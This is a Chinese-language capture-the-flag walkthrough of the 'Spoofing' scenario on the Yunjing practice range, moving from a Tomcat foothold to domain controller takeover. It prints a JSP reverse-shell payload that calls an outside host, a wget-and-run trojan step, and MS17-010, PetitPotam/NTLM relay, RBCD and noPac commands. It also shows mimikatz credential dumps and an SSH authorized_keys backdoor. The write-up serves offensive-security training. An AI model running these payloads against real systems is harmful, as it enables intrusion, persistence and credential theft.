内网渗透之突破云镜 | Spoofing

admin 2024年1月30日08:32:39评论32 views字数 9597阅读31分59秒阅读模式

外网打点

信息搜集

直接用Fscan扫描下

内网渗透之突破云镜 | Spoofing

发现后台,访问

内网渗透之突破云镜 | Spoofing

点了点都是前端页面,没什么东西,使用dirsearch扫描后发现

内网渗透之突破云镜 | Spoofing

虽然有漏洞点,可以进行文件执行和文件读取,但没有上传点,无法上传,接下来用dirsearch扫描一下

python3 dirsearch.py -u "http://39.99.243.184:8080/"

扫描结果

[07:40:20] Starting: 
[07:40:22] 302 -    0B  - /js  ->  /js/                                    
[07:40:34] 200 -  114B  - /404.html                                        
[07:40:40] 400 -  795B  - /..................etcpasswd          
[07:40:41] 400 -  795B  - /a%5c.aspx                                        
[07:41:14] 302 -    0B  - /css  ->  /css/                                  
[07:41:15] 302 -    0B  - /data  ->  /data/                                
[07:41:17] 302 -    0B  - /docs  ->  /docs/                                
[07:41:17] 200 -   17KB - /docs/                                            
[07:41:17] 302 -    0B  - /download  ->  /download/                        
[07:41:18] 200 -  132B  - /download/                                        
[07:41:20] 302 -    0B  - /examples  ->  /examples/                        
[07:41:20] 200 -    6KB - /examples/servlets/index.html                    
[07:41:20] 200 -    1KB - /examples/                                        
[07:41:20] 200 -  658B  - /examples/servlets/servlet/CookieExample
[07:41:20] 200 -  947B  - /examples/servlets/servlet/RequestHeaderExample  
[07:41:20] 200 -  682B  - /examples/jsp/snp/snoop.jsp                      
[07:41:26] 403 -    3KB - /host-manager/                                    
[07:41:26] 403 -    3KB - /host-manager/html
[07:41:27] 302 -    0B  - /images  ->  /images/                            
[07:41:29] 200 -    7KB - /index.html                                      
[07:41:33] 302 -    0B  - /lib  ->  /lib/                                  
[07:41:37] 302 -    0B  - /manager  ->  /manager/                          
[07:41:37] 403 -    3KB - /manager/admin.asp
[07:41:37] 403 -    3KB - /manager/
[07:41:37] 403 -    3KB - /manager/login                                    
[07:41:37] 403 -    3KB - /manager/status/all
[07:41:37] 403 -    3KB - /manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
[07:41:37] 403 -    3KB - /manager/jmxproxy/?get=BEANNAME&att=MYATTRIBUTE&key=MYKEY
[07:41:37] 403 -    3KB - /manager/jmxproxy
[07:41:37] 403 -    3KB - /manager/jmxproxy/?qry=STUFF
[07:41:37] 403 -    3KB - /manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage&key=used                                                                                              
[07:41:37] 403 -    3KB - /manager/html/
[07:41:37] 403 -    3KB - /manager/VERSION
[07:41:37] 403 -    3KB - /manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
[07:41:37] 403 -    3KB - /manager/html
[07:41:38] 403 -    3KB - /manager/login.asp                                
[07:41:38] 403 -    3KB - /manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps=                                                                                              
[07:41:38] 403 -    3KB - /manager/jmxproxy/?set=Catalina%3Atype%3DValve%2Cname%3DErrorReportValve%2Chost%3Dlocalhost&att=debug&val=cow                                                          
[07:41:38] 403 -    3KB - /manager/jmxproxy/?invoke=BEANNAME&op=METHODNAME&ps=COMMASEPARATEDPARAMETERS                                                                                            
[07:42:11] 403 -    0B  - /upload/                                          
[07:42:11] 403 -    0B  - /upload                                          
[07:42:12] 403 -    0B  - /upload/b_user.csv                                
[07:42:12] 403 -    0B  - /upload/loginIxje.php
[07:42:12] 403 -    0B  - /upload/test.txt                                  
[07:42:12] 403 -    0B  - /upload/1.php
[07:42:12] 403 -    0B  - /upload/test.php                                  
[07:42:12] 403 -    0B  - /upload/b_user.xls                                
[07:42:12] 403 -    0B  - /upload/upload.php                                
[07:42:12] 403 -    0B  - /upload/2.php                                    
[07:42:12] 200 -    9KB - /user.html                                        

Task Completed  

访问/docs可以发现是Tomcat 9.0.30,直接搜所相关漏洞,可以发现CNVD-2020-10487漏洞,可以进行任意文件读取和文件包含

漏洞探测

内网渗透之突破云镜 | Spoofing

但是我们需要有恶意文件才能包含从而获取权限,因此我们需要找到一个上传接口,正好在web.xml中发现接口UploadTestServlet,访问发现是上传文件接口,上传反弹shell文件,内容如下

<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b));  out.print("</pre>"); } %>

内网渗透之突破云镜 | Spoofing

提交后得到文件

内网渗透之突破云镜 | Spoofing

反弹shell

首先监听端口

nc -lvnp 7777

接下来使用脚本进行文件包含

python3 tomcat.py http://39.99.243.184:8080/ 8009 xx.txt   eval

内网渗透之突破云镜 | Spoofing

而后在监听处可得到shell,在root/flag文件夹下发现flag

内网渗透之突破云镜 | Spoofing

内网横向

信息搜集

使用VIPER生成木马后上传至靶机

攻击机:
python3 -m http.server
靶机
wget VPS:PORT/xxx.elf
./xxx.elf

上传后上传fscanchisel,使用fscan进行C段探测

meterpreter > shell -c './fscan -h 172.22.11.76/24'

  ___                              _    
 / _     ___  ___ _ __ __ _  ___| | __
/ /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______ (__| | | (_| | (__|   <    
____/     |___/___|_|  __,_|___|_|_  
                    fscan version: 1.8.3
start infoscan
(icmp) Target 172.22.11.76    is alive
(icmp) Target 172.22.11.6     is alive
(icmp) Target 172.22.11.26    is alive
(icmp) Target 172.22.11.45    is alive
[*] Icmp alive hosts len is: 4
172.22.11.76:8080 open
172.22.11.76:22 open
172.22.11.26:445 open
172.22.11.45:445 open
172.22.11.6:445 open
172.22.11.45:139 open
172.22.11.26:139 open
172.22.11.6:139 open
172.22.11.26:135 open
172.22.11.45:135 open
172.22.11.6:135 open
172.22.11.76:8009 open
172.22.11.6:88 open
[*] alive ports len is: 13
start vulscan
[*] NetBios 172.22.11.6     [+] DC:XIAORANGXIAORANG-DC    
[*] NetBios 172.22.11.26    XIAORANGXR-LCM3AE8B          
[*] NetInfo
[*]172.22.11.6
  [->]XIAORANG-DC
  [->]172.22.11.6
[+] MS17-010 172.22.11.45(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo
[*]172.22.11.26
  [->]XR-LCM3AE8B
  [->]172.22.11.26
[*] NetBios 172.22.11.45    XR-DESKTOP.xiaorang.lab             Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] WebTitle http://172.22.11.76:8080 code:200 len:7091   title:后台管理
已完成 13/13
[*] 扫描结束,耗时: 7.176621862s

代理搭建

使用chisel搭建代理。

VPS

./chisel server -p 7000 -reverse

内网渗透之突破云镜 | Spoofing

靶机

内网渗透之突破云镜 | Spoofing

攻击域成员一(MS17-010)

MSF攻击

刚刚Fscan扫描出了漏洞,直接用msf打就好了

proxychains msfconsole
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 172.22.11.45
run

内网渗透之突破云镜 | Spoofing

转发上线

使用VIPER转发上线

内网渗透之突破云镜 | Spoofing

使用upload上传木马

内网渗透之突破云镜 | Spoofing

execute指令执行文件

内网渗透之突破云镜 | Spoofing

C:/Users/Administrator/flag下发现flag

内网渗透之突破云镜 | Spoofing

攻击域成员二(PetitPotam强制认证)

票据抓取

列出票据

meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username Domain NTLM SHA1
-------- ------ ---- ----
XR-DESKTOP$ XIAORANG 3c6b049a1558b32aa6d978cc9abdd9d7 1374473614a90526f728fe8b469329d01c55d6e7
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f

wdigest credentials
===================

Username Domain Password
-------- ------ --------
(null) (null) (null)
XR-DESKTOP$ XIAORANG d7 17 b7 3e 45 89 1c df 0d b6 c1 ce 72 77 cf 5f 10 94 02 1d e6 bd d6 86 ed 7a 8e c5 97 9d 3b fb a1 0a bc 72 26 fd 6c 4a 0d 2a ab 9a 9d fc 63 c4 13 4f b1 e2 7a 97 dc b8 13 5c d2 be a3 7f 0a 27 a0 a9 2b 80 85 07 76 32 ec da 89 79 01 cb 03 98 8f 4e c0 f1 76 db f5 91 09 ab db 4e 43 f4 49 a0 5b ac 7a c0 7b 82 1b bc 5f 50 2c ef c6 0f 1f 9f f0 fa 62 0d 8e 0b 32 b4 28 c8 45 95 55 82 3b 5d 7b e5 7f 4a 0d 5d 95 15 94 82 61 d4 51 80 8e db 5e 60 29 dd e6 dc bf e7 90 bc dd a0 27 c2 70 78 7c ff 12 6a 5f 7d c9 95 75 78 d1 ba 4b e8 cd a7 f8 3a 7b d0 8a 86 cb 43 88 86 ad b2 33 2e f4 b9 a7 6f 22 d9 50 42 f5 b3 e4 b4 d1 20 b7 07 5c d1 c0 53 a5 9c 64 cf ae b1 fe b6 b5 2f 80 c6 4b 88 9d ca ee b4 97 be 0e 91 74 bb f5 df da cb 07 1d
yangmei XIAORANG xrihGHgoNZQ

kerberos credentials
====================

Username Domain Password
-------- ------ --------
(null) (null) (null)
xr-desktop$ XIAORANG.LAB d7 17 b7 3e 45 89 1c df 0d b6 c1 ce 72 77 cf 5f 10 94 02 1d e6 bd d6 86 ed 7a 8e c5 97 9d 3b fb a1 0a bc 72 26 fd 6c 4a 0d 2a ab 9a 9d fc 63 c4 13 4f b1 e2 7a 97 dc b8 13 5c d2 be a3 7f 0a 27 a0 a9 2b 80 85 07 76 32 ec da 89 79 01 cb 03 98 8f 4e c0 f1 76 db f5 91 09 ab db 4e 43 f4 49 a0 5b ac 7a c0 7b 82 1b bc 5f 50 2c ef c6 0f 1f 9f f0 fa 62 0d 8e 0b 32 b4 28 c8 45 95 55 82 3b 5d 7b e5 7f 4a 0d 5d 95 15 94 82 61 d4 51 80 8e db 5e 60 29 dd e6 dc bf e7 90 bc dd a0 27 c2 70 78 7c ff 12 6a 5f 7d c9 95 75 78 d1 ba 4b e8 cd a7 f8 3a 7b d0 8a 86 cb 43 88 86 ad b2 33 2e f4 b9 a7 6f 22 d9 50 42 f5 b3 e4 b4 d1 20 b7 07 5c d1 c0 53 a5 9c 64 cf ae b1 fe b6 b5 2f 80 c6 4b 88 9d ca ee b4 97 be 0e 91 74 bb f5 df da cb 07 1d
xr-desktop$ XIAORANG.LAB (null)
yangmei XIAORANG.LAB xrihGHgoNZQ

得到两个用户,机器账号xr-desktop$和用户yangmei

强制认证

靶场提示了NTLM,因此用cme看下WebClient和petitpotam

proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdav
proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M PetitPotam

内网渗透之突破云镜 | Spoofing

172.22.11.26机器上存在WEBDAV服务

内网渗透之突破云镜 | Spoofing

存在PetitPotam

根据题目描述,那么这里应该是要用到WEBDAV + PetitPotam的强制认证,简单的说就是要求我们用PetitPotam强制目标主机使用LM Hash、NTLM Hash对我们的服务器进行认证,此时我们可以通过该认证中继到其他目标服务器,以此达到横向的目的。

参考了大师傅们的博客,发现这里使用的是无ADCS + PetitPotam + NTLM中继打法,思路大概如下

1、用petitpotam触发目标访问HTTP服务
2、目标使用webclient携带NTLM认证访问中继,并将NTLM认证中继到LDAP
3、获取到机器账号身份
4、以机器账户的身份修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性,从而允许我们访问到目标机器。

中继环境配置

我们需要把服务器的80端口,转发到客户端本地的80端口。

因此先配置下密钥,写下后门。

攻击机
ssh-keygen -t rsa -b 4096
cat id_rsa.pub
靶机
echo "pub中的内容" >/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

内网渗透之突破云镜 | Spoofing

需要注意的是

由于SSH的反向端口在转发监听的时候只会监听127.0.0.1,所以这里需要稍微改动

即使反向在转发79端口指定监听全部,端口79仍绑定在127.0.0.1

因此我们可以多加一条,将流量0.0.0.0:80转发到127.0.0.1:79,再反向转发回客户端本地的80,变相使得80监听在0.0.0.0

ssh -i id_rsa [email protected] -D SOCKS代理IP:PORT -R *:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

接下来本地开启ntlmrelayx,利用前面抓到的XR-Desktop作为恶意账户设置RBCD

proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

内网渗透之突破云镜 | Spoofing

接着使用PetitPotam触发XR-LCM3AE8B强制认证到172.22.11.26

 proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

内网渗透之突破云镜 | Spoofing

此时可以看到已经成功获取了认证

内网渗透之突破云镜 | Spoofing

接下来用之前抓的机器账户XR-DESKTOP$去打172.22.11.26的RBCD

内网渗透之突破云镜 | Spoofing

接下来配置下

export KRB5CCNAME=administrator.ccache
sudo vim /etc/hosts
#填入内容如下
172.22.11.26XR-LCM3AE8B.xiaorang.lab

而后登录即可

内网渗透之突破云镜 | Spoofing

攻击域控(noPac)

添加用户

在域成员二拿到权限后,添加管理员用户

内网渗透之突破云镜 | Spoofing

密码抓取

RDP登录后上传Mimikatz,抓取密码

privilege::debug
sekurlsa::logonpasswords

发现

Authentication Id : 0 ; 744772 (00000000:000b5d44)
Session : RemoteInteractive from 2
User Name : zhanghui
Domain : XIAORANG
Logon Server : XIAORANG-DC
Logon Time : 2024/1/22 11:27:21
SID : S-1-5-21-3598443049-773813974-2432140268-1133
msv :
[00000003] Primary
* Username : zhanghui
* Domain : XIAORANG
* NTLM : 1232126b24cdf8c9bd2f788a9d7c7ed1

得到一个域内用户zhanghui

nopac攻击

题目描述中提到了noPac,搜索发现这篇文章https://xz.aliyun.com/t/10694

漏洞原理大致如下

1、我们创建了与DC机器账户名字相同的机器账号(不以$结尾,与CVE-2021-42278结合,此时AD未对域内机器用户名做验证)
2、账户请求TGT后,更改账户名字,通过S4U2Self申请TGS 票据
3、DC在TGS_REP阶段,这个账户不存在,DC用自己的密钥加密TGS 票据,提供一个属于该账号的PAC,此时得到一个高权限的ST

大致了解了原理,我们接下来进行实践

使用刚刚抓到的账号尝试攻击

proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

内网渗透之突破云镜 | Spoofing

成功获取权限。

这里也可以用一开始抓到的机器用户XR-DESKTOP$,因为它是机器账户,本身就满足条件。


原文始发于微信公众号(渗透安全团队):内网渗透之突破云镜 | Spoofing

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月30日08:32:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透之突破云镜 | Spoofinghttps://cn-sec.com/archives/2443668.html

发表评论

匿名网友 填写信息